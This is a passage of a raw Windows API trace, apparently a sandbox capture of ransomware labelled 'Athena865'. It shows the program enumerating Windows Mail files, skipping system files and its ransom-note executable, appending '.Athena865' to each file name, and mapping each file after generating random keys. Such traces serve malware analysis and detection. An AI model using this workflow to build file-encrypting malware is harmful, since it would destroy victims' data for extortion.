[0040.304] lstrlenW (lpString="dbc") returned 3 [0040.304] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1 [0040.304] lstrlenW (lpString="dbs") returned 3 [0040.304] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1 [0040.304] lstrlenW (lpString="dbt") returned 3 [0040.304] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1 [0040.304] lstrlenW (lpString="dbv") returned 3 [0040.304] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1 [0040.304] lstrlenW (lpString="dbx") returned 3 [0040.304] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1 [0040.304] lstrlenW (lpString="dcb") returned 3 [0040.304] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1 [0040.304] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1 [0040.304] lstrcmpiW (lpString1="exe", lpString2="dcx") returned 1 [0040.304] lstrcmpiW (lpString1="exe", lpString2="ddl") returned 1 [0040.304] lstrcmpiW (lpString1=".exe", lpString2="dlis") returned -1 [0040.304] lstrcmpiW (lpString1="exe", lpString2="dp1") returned 1 [0040.304] lstrcmpiW (lpString1="exe", lpString2="dqy") returned 1 [0040.304] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Mail\\wab.exe.Athena865") returned 47 [0040.304] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Mail\\wab.exe" (normalized: "c:\\program files\\windows mail\\wab.exe"), lpNewFileName="C:\\Program Files\\Windows Mail\\wab.exe.Athena865" (normalized: "c:\\program files\\windows mail\\wab.exe.athena865"), dwFlags=0x1) returned 1 [0040.305] CreateFileW (lpFileName="C:\\Program Files\\Windows Mail\\wab.exe.Athena865" (normalized: "c:\\program files\\windows mail\\wab.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0040.305] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=516096) returned 1 [0040.305] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0040.305] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d1b0 [0040.305] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0040.305] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0040.306] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0040.306] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0040.307] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7e300, lpName=0x0) returned 0x154 [0040.308] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7e300) returned 0x2d50000 [0040.329] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0040.330] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0040.330] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0040.330] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d228 [0040.330] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d228 | out: hHeap=0x4f0000) returned 1 [0040.330] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0040.330] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0040.330] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0040.330] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0040.330] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0040.330] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0040.330] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0040.330] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0040.330] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0040.335] CloseHandle (hObject=0x154) returned 1 [0040.335] CloseHandle (hObject=0x17c) returned 1 [0040.341] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d1b0 | out: hHeap=0x4f0000) returned 1 [0040.341] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0040.341] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0040.343] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbfa72e7a, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xbfa72e7a, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x4556f160, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x8a00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wabfind.dll", cAlternateFileName="")) returned 1 [0040.343] lstrcmpiW (lpString1="wabfind.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0040.343] lstrcmpiW (lpString1="wabfind.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0040.343] lstrcmpiW (lpString1="wabfind.dll", lpString2=".") returned 1 [0040.343] lstrcmpiW (lpString1="wabfind.dll", lpString2="..") returned 1 [0040.343] lstrcmpiW (lpString1="wabfind.dll", lpString2="windows") returned -1 [0040.343] lstrcmpiW (lpString1="wabfind.dll", lpString2="bootmgr") returned 1 [0040.343] lstrcmpiW (lpString1="wabfind.dll", lpString2="temp") returned 1 [0040.343] lstrcmpiW (lpString1="wabfind.dll", lpString2="pagefile.sys") returned 1 [0040.343] lstrcmpiW (lpString1="wabfind.dll", lpString2="boot") returned 1 [0040.343] lstrcmpiW (lpString1="wabfind.dll", lpString2="ids.txt") returned 1 [0040.343] lstrcmpiW (lpString1="wabfind.dll", lpString2="ntuser.dat") returned 1 [0040.343] lstrcmpiW (lpString1="wabfind.dll", lpString2="perflogs") returned 1 [0040.343] lstrcmpiW (lpString1="wabfind.dll", lpString2="MSBuild") returned 1 [0040.343] lstrlenW (lpString="wabfind.dll") returned 11 [0040.343] lstrcpyW (in: lpString1=0x241e884, lpString2="wabfind.dll" | out: lpString1="wabfind.dll") returned="wabfind.dll" [0040.344] lstrlenW (lpString="wabfind.dll") returned 11 [0040.344] lstrlenW (lpString="Athena865") returned 9 [0040.344] lstrcmpiW (lpString1="bfind.dll", lpString2="Athena865") returned 1 [0040.344] lstrlenW (lpString=".dll") returned 4 [0040.344] lstrcmpiW (lpString1="wabfind.dll", lpString2=".dll") returned 1 [0040.344] lstrlenW (lpString=".lnk") returned 4 [0040.344] lstrcmpiW (lpString1="wabfind.dll", lpString2=".lnk") returned 1 [0040.344] lstrlenW (lpString=".ini") returned 4 [0040.344] lstrcmpiW (lpString1="wabfind.dll", lpString2=".ini") returned 1 [0040.344] lstrlenW (lpString=".sys") returned 4 [0040.344] lstrcmpiW (lpString1="wabfind.dll", lpString2=".sys") returned 1 [0040.344] lstrlenW (lpString="wabfind.dll") returned 11 [0040.344] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Mail\\wabfind.dll.Athena865") returned 51 [0040.344] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Mail\\wabfind.dll" (normalized: "c:\\program files\\windows mail\\wabfind.dll"), lpNewFileName="C:\\Program Files\\Windows Mail\\wabfind.dll.Athena865" (normalized: "c:\\program files\\windows mail\\wabfind.dll.athena865"), dwFlags=0x1) returned 1 [0040.345] CreateFileW (lpFileName="C:\\Program Files\\Windows Mail\\wabfind.dll.Athena865" (normalized: "c:\\program files\\windows mail\\wabfind.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0040.345] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=35328) returned 1 [0040.345] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0040.345] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d1b0 [0040.345] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0040.345] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0040.346] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0040.346] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0040.346] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8d00, lpName=0x0) returned 0x154 [0040.347] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8d00) returned 0x100000 [0040.351] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0040.351] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0040.351] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0040.351] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d228 [0040.351] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d228 | out: hHeap=0x4f0000) returned 1 [0040.351] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0040.352] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0040.352] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0040.352] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0040.352] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0040.352] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0040.352] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0040.352] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0040.352] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0040.352] CloseHandle (hObject=0x154) returned 1 [0040.352] CloseHandle (hObject=0x17c) returned 1 [0040.354] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d1b0 | out: hHeap=0x4f0000) returned 1 [0040.354] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0040.354] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0040.354] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbfddedd5, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xbfddedd5, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x4556f160, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xc400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wabimp.dll", cAlternateFileName="")) returned 1 [0040.354] lstrcmpiW (lpString1="wabimp.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0040.354] lstrcmpiW (lpString1="wabimp.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0040.354] lstrcmpiW (lpString1="wabimp.dll", lpString2=".") returned 1 [0040.355] lstrcmpiW (lpString1="wabimp.dll", lpString2="..") returned 1 [0040.355] lstrcmpiW (lpString1="wabimp.dll", lpString2="windows") returned -1 [0040.355] lstrcmpiW (lpString1="wabimp.dll", lpString2="bootmgr") returned 1 [0040.355] lstrcmpiW (lpString1="wabimp.dll", lpString2="temp") returned 1 [0040.355] lstrcmpiW (lpString1="wabimp.dll", lpString2="pagefile.sys") returned 1 [0040.355] lstrcmpiW (lpString1="wabimp.dll", lpString2="boot") returned 1 [0040.355] lstrcmpiW (lpString1="wabimp.dll", lpString2="ids.txt") returned 1 [0040.355] lstrcmpiW (lpString1="wabimp.dll", lpString2="ntuser.dat") returned 1 [0040.355] lstrcmpiW (lpString1="wabimp.dll", lpString2="perflogs") returned 1 [0040.355] lstrcmpiW (lpString1="wabimp.dll", lpString2="MSBuild") returned 1 [0040.355] lstrlenW (lpString="wabimp.dll") returned 10 [0040.355] lstrcpyW (in: lpString1=0x241e884, lpString2="wabimp.dll" | out: lpString1="wabimp.dll") returned="wabimp.dll" [0040.355] lstrlenW (lpString="wabimp.dll") returned 10 [0040.355] lstrlenW (lpString="Athena865") returned 9 [0040.355] lstrcmpiW (lpString1="abimp.dll", lpString2="Athena865") returned -1 [0040.355] lstrlenW (lpString=".dll") returned 4 [0040.355] lstrcmpiW (lpString1="wabimp.dll", lpString2=".dll") returned 1 [0040.355] lstrlenW (lpString=".lnk") returned 4 [0040.355] lstrcmpiW (lpString1="wabimp.dll", lpString2=".lnk") returned 1 [0040.355] lstrlenW (lpString=".ini") returned 4 [0040.355] lstrcmpiW (lpString1="wabimp.dll", lpString2=".ini") returned 1 [0040.355] lstrlenW (lpString=".sys") returned 4 [0040.355] lstrcmpiW (lpString1="wabimp.dll", lpString2=".sys") returned 1 [0040.355] lstrlenW (lpString="wabimp.dll") returned 10 [0040.355] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Mail\\wabimp.dll.Athena865") returned 50 [0040.355] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Mail\\wabimp.dll" (normalized: "c:\\program files\\windows mail\\wabimp.dll"), lpNewFileName="C:\\Program Files\\Windows Mail\\wabimp.dll.Athena865" (normalized: "c:\\program files\\windows mail\\wabimp.dll.athena865"), dwFlags=0x1) returned 1 [0040.356] CreateFileW (lpFileName="C:\\Program Files\\Windows Mail\\wabimp.dll.Athena865" (normalized: "c:\\program files\\windows mail\\wabimp.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0040.357] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=50176) returned 1 [0040.357] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0040.357] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d1b0 [0040.357] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0040.357] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0040.358] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0040.358] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0040.358] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc700, lpName=0x0) returned 0x154 [0040.359] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc700) returned 0x100000 [0040.361] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0040.362] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0040.362] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0040.362] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d228 [0040.363] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d228 | out: hHeap=0x4f0000) returned 1 [0040.363] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0040.363] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0040.363] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0040.363] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0040.363] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0040.363] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0040.363] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0040.363] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0040.363] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0040.364] CloseHandle (hObject=0x154) returned 1 [0040.364] CloseHandle (hObject=0x17c) returned 1 [0040.365] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d1b0 | out: hHeap=0x4f0000) returned 1 [0040.365] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0040.365] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0040.366] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf9da906, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xbf9da906, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xfa86dfb0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x10800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wabmig.exe", cAlternateFileName="")) returned 1 [0040.366] lstrcmpiW (lpString1="wabmig.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0040.366] lstrcmpiW (lpString1="wabmig.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0040.366] lstrcmpiW (lpString1="wabmig.exe", lpString2=".") returned 1 [0040.366] lstrcmpiW (lpString1="wabmig.exe", lpString2="..") returned 1 [0040.366] lstrcmpiW (lpString1="wabmig.exe", lpString2="windows") returned -1 [0040.366] lstrcmpiW (lpString1="wabmig.exe", lpString2="bootmgr") returned 1 [0040.366] lstrcmpiW (lpString1="wabmig.exe", lpString2="temp") returned 1 [0040.366] lstrcmpiW (lpString1="wabmig.exe", lpString2="pagefile.sys") returned 1 [0040.366] lstrcmpiW (lpString1="wabmig.exe", lpString2="boot") returned 1 [0040.366] lstrcmpiW (lpString1="wabmig.exe", lpString2="ids.txt") returned 1 [0040.366] lstrcmpiW (lpString1="wabmig.exe", lpString2="ntuser.dat") returned 1 [0040.366] lstrcmpiW (lpString1="wabmig.exe", lpString2="perflogs") returned 1 [0040.366] lstrcmpiW (lpString1="wabmig.exe", lpString2="MSBuild") returned 1 [0040.366] lstrlenW (lpString="wabmig.exe") returned 10 [0040.366] lstrcpyW (in: lpString1=0x241e884, lpString2="wabmig.exe" | out: lpString1="wabmig.exe") returned="wabmig.exe" [0040.366] lstrlenW (lpString="wabmig.exe") returned 10 [0040.366] lstrlenW (lpString="Athena865") returned 9 [0040.366] lstrcmpiW (lpString1="abmig.exe", lpString2="Athena865") returned -1 [0040.366] lstrlenW (lpString=".dll") returned 4 [0040.366] lstrcmpiW (lpString1="wabmig.exe", lpString2=".dll") returned 1 [0040.366] lstrlenW (lpString=".lnk") returned 4 [0040.366] lstrcmpiW (lpString1="wabmig.exe", lpString2=".lnk") returned 1 [0040.366] lstrlenW (lpString=".ini") returned 4 [0040.366] lstrcmpiW (lpString1="wabmig.exe", lpString2=".ini") returned 1 [0040.366] lstrlenW (lpString=".sys") returned 4 [0040.367] lstrcmpiW (lpString1="wabmig.exe", lpString2=".sys") returned 1 [0040.367] lstrlenW (lpString="wabmig.exe") returned 10 [0040.367] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Mail\\wabmig.exe.Athena865") returned 50 [0040.367] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Mail\\wabmig.exe" (normalized: "c:\\program files\\windows mail\\wabmig.exe"), lpNewFileName="C:\\Program Files\\Windows Mail\\wabmig.exe.Athena865" (normalized: "c:\\program files\\windows mail\\wabmig.exe.athena865"), dwFlags=0x1) returned 1 [0040.367] CreateFileW (lpFileName="C:\\Program Files\\Windows Mail\\wabmig.exe.Athena865" (normalized: "c:\\program files\\windows mail\\wabmig.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0040.367] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=67584) returned 1 [0040.367] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0040.368] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d1b0 [0040.368] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0040.368] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0040.368] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0040.368] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0040.369] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10b00, lpName=0x0) returned 0x154 [0040.372] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x10b00) returned 0x100000 [0040.375] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0040.375] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0040.375] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0040.375] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d228 [0040.375] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d228 | out: hHeap=0x4f0000) returned 1 [0040.376] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0040.376] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0040.376] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0040.376] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0040.376] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0040.376] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0040.376] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0040.376] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0040.376] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0040.377] CloseHandle (hObject=0x154) returned 1 [0040.377] CloseHandle (hObject=0x17c) returned 1 [0040.378] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d1b0 | out: hHeap=0x4f0000) returned 1 [0040.379] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0040.379] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0040.379] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc2062a1d, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xc2062a1d, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xfbe97cf0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x61600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WinMail.exe", cAlternateFileName="")) returned 1 [0040.379] lstrcmpiW (lpString1="WinMail.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0040.379] lstrcmpiW (lpString1="WinMail.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0040.379] lstrcmpiW (lpString1="WinMail.exe", lpString2=".") returned 1 [0040.379] lstrcmpiW (lpString1="WinMail.exe", lpString2="..") returned 1 [0040.379] lstrcmpiW (lpString1="WinMail.exe", lpString2="windows") returned 1 [0040.379] lstrcmpiW (lpString1="WinMail.exe", lpString2="bootmgr") returned 1 [0040.379] lstrcmpiW (lpString1="WinMail.exe", lpString2="temp") returned 1 [0040.379] lstrcmpiW (lpString1="WinMail.exe", lpString2="pagefile.sys") returned 1 [0040.379] lstrcmpiW (lpString1="WinMail.exe", lpString2="boot") returned 1 [0040.379] lstrcmpiW (lpString1="WinMail.exe", lpString2="ids.txt") returned 1 [0040.379] lstrcmpiW (lpString1="WinMail.exe", lpString2="ntuser.dat") returned 1 [0040.379] lstrcmpiW (lpString1="WinMail.exe", lpString2="perflogs") returned 1 [0040.379] lstrcmpiW (lpString1="WinMail.exe", lpString2="MSBuild") returned 1 [0040.379] lstrlenW (lpString="WinMail.exe") returned 11 [0040.379] lstrcpyW (in: lpString1=0x241e884, lpString2="WinMail.exe" | out: lpString1="WinMail.exe") returned="WinMail.exe" [0040.379] lstrlenW (lpString="WinMail.exe") returned 11 [0040.380] lstrlenW (lpString="Athena865") returned 9 [0040.380] lstrcmpiW (lpString1="nMail.exe", lpString2="Athena865") returned 1 [0040.380] lstrlenW (lpString=".dll") returned 4 [0040.380] lstrcmpiW (lpString1="WinMail.exe", lpString2=".dll") returned 1 [0040.380] lstrlenW (lpString=".lnk") returned 4 [0040.380] lstrcmpiW (lpString1="WinMail.exe", lpString2=".lnk") returned 1 [0040.380] lstrlenW (lpString=".ini") returned 4 [0040.380] lstrcmpiW (lpString1="WinMail.exe", lpString2=".ini") returned 1 [0040.380] lstrlenW (lpString=".sys") returned 4 [0040.380] lstrcmpiW (lpString1="WinMail.exe", lpString2=".sys") returned 1 [0040.380] lstrlenW (lpString="WinMail.exe") returned 11 [0040.380] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows 